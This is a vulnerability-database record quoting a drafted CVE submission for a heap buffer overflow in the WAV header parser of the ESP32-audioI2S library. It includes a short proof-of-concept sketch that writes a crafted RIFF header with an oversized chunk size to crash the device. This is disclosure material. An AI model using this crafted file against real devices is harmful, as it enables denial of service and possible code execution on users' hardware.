{"uuid": "2cee338b-be2f-417b-b4d0-40bf0f9c345f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51271", "type": "seen", "source": "https://gist.github.com/programmervuln/18c03cd805634bd9456d90c007a00b27", "content": "vulnerable code is at: https://github.com/schreibfaul1/ESP32-audioI2S/blob/master/Audio.cpp\n\nCVE-2026-51271 Full MITRE CVE Application Submission\n1. Affected Product\nschreibfaul1 ESP32-audioI2S\n2. Affected Versions & Fixed Version\nAffected Version: 3.4.5\nFixed Version: Not yet released (vendor patch under development)\n3. CVE ID\nCVE-2026-51271\n4. Prose Vulnerability Description\nA heap-based buffer overflow vulnerability exists in the read_WAV_Header() WAV RIFF header parsing function within src/Audio.cpp.\nThe function parses untrusted chunk size and frame length values directly from malicious WAV file RIFF/fmt subheader binary data\nwithout upper bound validation. These attacker-controlled numeric values are used to calculate buffer skip lengths and total audio \ndata size for heap storage allocation. When processing a crafted WAV file with an oversized chunk size field, the program computes\nan excessively large read offset,\ntriggering out-of-bounds heap read and write operations during header parsing and sample loading. Malicious WAV media files from\nlocal storage or remote audio streams can exploit this flaw to corrupt PSRAM heap memory on ESP32 hardware.\n5. Vulnerability Type\nCWE-122: Heap-Based Buffer Overflow\n6. Root Cause\nThe WAV header parser extracts raw chunk size integers from untrusted binary file input and uses them to compute memory access \noffsets with no maximum size sanity check. Large unvalidated chunk values produce skip offsets that exceed the allocated heap \nheader buffer bounds, leading to unrestricted out-of-bounds memory access during subsequent sample read operations.\n7. Impact, PoC Code, PoC Rationale, Additional Info\nImpact\nPrimary Impact: Remote Denial of Service \u2014 ESP32 watchdog forced hardware reboot, permanent audio playback service crash \nrequiring power cycle recovery.\nSecondary Impact: PSRAM heap metadata corruption under predictable memory layouts enables remote arbitrary code execution \nwithin the audio library\u2019s runtime privilege scope.\nAuxiliary Impact: Out-of-bounds heap reads expose sensitive device runtime and audio buffer data.\nPoC for CVE Application (MITRE Standard Minimal Reproduction Code)\n\n// CVE-2026-51271 PoC Target: Audio::read_WAV_Header() WAV header heap overflow\n// Test Environment: Arduino ESP32 Core + ESP-IDF 5.1, AddressSanitizer PSRAM build\n#include \"Audio.h\"\n#include \"SD.h\"\n\n// Create crafted malicious WAV file with oversized RIFF chunk size header\nFile malWav = SD.open(\"/malicious.wav\", FILE_WRITE);\n// Write RIFF header with artificially inflated 0xFFFFFF chunk length value\nuint8_t riffHeader[12] = {'R','I','F','F',0xFF,0xFF,0xFF,0xFF,'W','A','V','E'};\nmalWav.write(riffHeader, 12);\n// Write minimal empty fmt subchunk\nuint8_t fmtBlock[16] = {0x00,0x00,0x00,0x10,1,2,0x80,0xBB,0x00,0x02,0x10,0x00,0x18,0x00,0x00,0x00};\nmalWav.write(fmtBlock,16);\nmalWav.close();\n\nAudio audio;\n// Trigger vulnerable WAV header parsing logic\naudio.connecttoFS(SD, \"/malicious.wav\");\n\n// Expected Debug Behavior: ASAN logs heap-buffer-overflow error during read_WAV_Header parsing, ESP32 watchdog resets immediately\n// No custom firmware, PSRAM modification or library source edits required\nPoC Execution Steps\nFlash stock ESP32-audioI2S v3.4.5 ASAN-enabled firmware to PSRAM-equipped ESP32-S3/P4 board.\nMount SD card and upload the PoC sketch to generate malicious WAV file with oversized RIFF chunk header.\nExecute audio.connecttoFS() to load the crafted WAV file, invoking vulnerable header parsing function.\nAddressSanitizer captures clear out-of-bounds heap access fault and the device restarts.\nPoC Rationale\nThis minimal PoC reliably reproduces the heap overflow without special hardware or modified library builds. \nThe malicious WAV file contains an artificially maximum chunk size value in the RIFF header, which the parser \nreads and uses to compute unconstrained memory offsets. No input sanitization limits the chunk length value, \nleading to read/write operations past heap buffer limits. Exploitation is fully remote via network WAV streams \nor local SD media; no authentication, physical hardware access or elevated device permissions are needed to trigger\nthe vulnerability. The crash condition is consistent across all supported ESP32 hardware variants with PSRAM.\n\nvulnerable code is at: https://github.com/schreibfaul1/ESP32-audioI2S/blob/master/Audio.cpp", "creation_timestamp": "2026-07-29T09:14:39.913121Z"}